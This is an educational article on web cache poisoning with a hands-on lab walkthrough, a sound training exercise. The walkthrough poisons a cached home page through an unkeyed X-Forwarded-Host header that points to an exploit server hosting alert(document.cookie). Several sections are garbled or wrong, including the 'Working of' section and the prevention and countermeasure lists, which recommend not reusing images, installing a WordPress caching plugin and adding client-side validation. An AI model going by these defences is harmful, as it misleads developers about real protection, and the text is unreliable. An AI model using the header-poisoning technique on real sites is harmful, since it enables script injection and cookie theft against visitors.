Web caching is an important utility for accelerating websites and enhancing user experience. However, cybercriminals have discovered ways to exploit weaknesses in web caching and turn this performance tool into a significant security threat. Web cache poisoning is an advanced attack in which hackers manipulate cached content to deliver malicious information, phishing pages, or harmful redirects to unsuspecting users. In 2023, several large websites were targeted by web cache poisoning attacks, resulting in large-scale data breaches and unauthorized redirects.
Web Cache Poisoning
Web cache poisoning is a type of cyberattack that tricks a website's caching system into storing and serving malicious or forged content to users. The attacks use cache vulnerabilities to inject malicious data, deceptive responses, or false pages that force users to download malware, relinquish personal information, or access phishing sites.
It is not browser caches or ad networks but server-side caches storing web page content for better performance. Improperly configured cache rules enable attackers to dictate what is stored and delivered to visitors.
- Server-Side Caching: Web servers might employ caches to save content most frequently requested, lowering server workload and enhancing performance.
- HTTP Request Tampering: Attackers tamper with HTTP request parameters (i.e., headers, query strings) in such a manner that the server stores a malicious response in its cache.
- Poisoned Cache: The server stores the malicious response in its cache, and when other users try to request the same resource, they are given the poisoned content.
Example:
If the server needs to send new responses to individual HTTP requests individually, it can overload the server, causing delay issues, especially during busy hours, and degrading the user experience. Caching is primarily a means of reducing such problems. The cache is between the server and the user and typically stores (caches) the response to a particular request for a set period of time. Then, when another user sends an equivalent request, the cache provides the user with a copy of the cached response directly, without backend intervention. This reduces the number of duplicate requests that the server has to handle and significantly reduces the load on the server.
Web Cache
A web cache is a framework that holds replicas of web content such as images, scripts, and pages to quickly load websites and minimize server load. Web caches make websites load quickly by storing frequently used data so that users don't have to download the same content over and over. When not configured correctly, though, web caches become a security threat and an attack vector for hackers.
Cache Keys
A cache key is a unique identifier that a web cache uses to recognize and group identical requests. It is generally composed of the request line (such as GET /index.html) and the Host header (example.com). When a new request matches an existing cache key, the cached response is served instead of contacting the server again. However, any parts of the request that are not included in the cache key, such as certain headers or cookies, are ignored. This behavior can sometimes be exploited if attackers manipulate the excluded components to influence the cached response.
When Web Cache Poisoning Can Occur?
Web cache poisoning occurs when the cache is fooled by attackers to store and serve malicious content. This occurs when:
- Unvalidated user input gets cached and delivered to other people.
- Flawed cache rules enable attackers to inject malicious data.
- The absence of content filtering allows for evil scripts or phishing URLs to be stored.
- Web servers are not able to distinguish between good and malicious requests.
Working of Web Cache Poisoning
Web cache poisoning is an attack on the caching system of a browser, serving stale or outdated content to the user. It is the act of injecting malicious code into data that's delivered over the Internet by an advertising network and tricking it into displaying a false error message or misspelling. This can happen when hackers use their bots to request many graphic images from one website while injecting poisoned HTML code that causes errors in your web page.
Types of Web Cache Poisoning Attacks
1. Stored Cache Poisoning: Bad content is injected by attackers and is stored permanently in the cache. This results in all users of the site being given malicious responses, causing data theft, malware downloads, or imitation web pages.
2. Reflected Cache Poisoning: The bad content is cached briefly, impacting solely users who show up at the time. This is more challenging to detect but no less unsafe for victims.
3. Header Manipulation Attack: Attackers manipulate HTTP headers to alter the caching of content. This can mislead users into receiving malicious files, redirects, or erroneous website responses.
4. Payload Injection Attack: Intruders insert malicious scripts, phishing URLs, or redirects in cached responses to spread malware or redirect users to impersonation login pages.
Exploiting Web Cache Poisoning Vulnerabilities
Web cache poisoning is an underhanded attack in which attackers control a website's cache to deliver malicious content rather than secure, legitimate information. Hackers can utilize the security loopholes in caching rules to inject the malicious scripts, phishing URLs, or spoofed responses, which are cached and impact various users.
How Hackers Exploit Web Cache Vulnerabilities
- Unvalidated User Input: When a website stores user input without validating it, hackers can inject malicious data that is stored and displayed to other visitors.
- Weak Caching Rules: Poorly configured cache settings on some websites enable malicious responses to be cached and served over and over. These weaknesses are exploited by attackers to manipulate what users see.
- Header Tampering: Hackers alter HTTP headers in requests to alter the way the cache caches information. This can result in unauthorized content being stored and presented to subsequent visitors.
- Content Injection: Malicious JavaScript, phishing URLs, or spoofed login pages are injected by hackers into cached responses. Users are unaware of interacting with malicious content, resulting in stolen passwords, financial theft, or malware infections.
Hand-On Lab: Web Cache Poisoning
Steps to Solve the Lab: Web cache poisoning with an unkeyed header
Step 1. Access the Lab and Capture the Home Page Request
- Navigate the lab: Web cache poisoning with an unkeyed header
- Click on access the lab
- In Burp Suite, go to Proxy > HTTP history. Locate the GET request for the home page.
- Right-click the request and select Send to Repeater for modification.
Step 2. Add a Cache Buster and Test the X-Forwarded-Host Header
- In Burp Repeater, modify the request by adding a cache-buster query parameter to prevent hitting the cache initially (e.g., append ?cb=1234 to the URL: GET /?cb=1234 HTTP/1.1).
X-Forwarded-Host: example.com
- Send the request and examine the response.
- Observe that the response dynamically imports a JavaScript file using the X-Forwarded-Host value. This confirms the header is unkeyed and influences the response without being part of the cache key.
Step 3. Verify Cache Behavior
- Resend the same request.
- Check the response headers for X-Cache: hit (or similar), indicating the response is now served from the cache. If it's X-Cache: miss initially, resend until it becomes hit.
Step 4. Set Up the Exploit Server with Malicious JavaScript
- In Burp Suite, access the Exploit Server (if integrated in the lab, it might be available via a button in the lab interface; otherwise, use Burp's Collaborator or a custom server setup).
- Change the file path (or "File name" in the solution) to match the imported script path: /resources/js/tracking.js.
- In the body of the exploit file, enter the malicious JavaScript payload:
alert(document.cookie)
- Store/save the exploit. Note your unique Exploit Server ID (e.g., YOUR-EXPLOIT-SERVER-ID.exploit-server.net – this is provided by the lab or Burp).
0a2100190464fb9980ed255a0180006a.exploit-server.netStep 5. Poison the Cache with the Malicious Request
- Return to Burp Repeater with the home page GET request.
- Remove the cache-buster parameter (e.g., revert to GET / HTTP/1.1).
- Add or update the X-Forwarded-Host header to point to your exploit server:
X-Forwarded-Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net
Like that,
X-Forwarded-Host: 0a2100190464fb9980ed255a0180006a.exploit-server.net
- Send the request.
- Resend it multiple times (if needed) until the response reflects your exploit server URL in the <script> tag (e.g., <script src="https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/resources/js/tracking.js"></script>) and includes X-Cache: hit in the headers. This confirms the cache is poisoned.
Step 6. Test the Poisoned Cache in the Browser
- In your browser, load the home page URL (e.g., https://<lab-id>.web-security-academy.net/).
- Verify that the alert(document.cookie) payload executes (an alert box should pop up displaying the browser's cookies). This simulates the victim's experience.
- Note: Perform this quickly, as the cache expires every 30 seconds. If the alert doesn't trigger, return to Step 5 and re-poison the cache by resending the malicious request.
Step 7. Handle Victim Simulation and Lab Completion
- If the lab isn't solved after your browser test, the simulated "victim" (an unsuspecting user who visits the home page) hasn't accessed the poisoned page yet.
- Keep resending the malicious request from Step 5 every few seconds to maintain the poisoned cache.
- The lab will mark itself as solved once the victim accesses the page during the poisoned window, triggering the alert in their simulated browser.
Preventing Web Cache Poisoning Vulnerabilities
You can prevent your website becoming vulnerable to web cache poisoning by following these simple steps:
- Always make sure that your site is well optimized so that caching results in pages load faster, and not error messages when people are refreshing or trying to access your page. Also make sure that you have images on your site which are well optimized for performance.
- When you change the content of your pages, make sure to remove any cached versions.
- Never use the same image over and over again in your blog posts, as this will make it easier for web cache poisoning to work on your site.
- Use a caching plugin that is made available by WordPress, so that if someone gets an error accessing your website, they will be able to see an older version of the page that you've made available through a cached version. This can also be helpful when trying to fix issues with browser caching on your blog posts or website without having to worry about visitors seeing broken images, or old content from previous versions of your pages.
Countermeasures of Web Cache Poisoning
- A lot of web servers are vulnerable to cache poisoning attacks due to mishandling of content type and inability to take into account the length of a cached response.
- For a successful cache poisoning attack, the attacker must be able to send HTTP requests with a forged user-agent header field.
- To prevent this from happening, you should enable client side validation on your website, so that your site verifies that the request is coming from a browser that it trusts.
- Content-Type headers alone have proved inadequate in preventing cache poisoning attacks.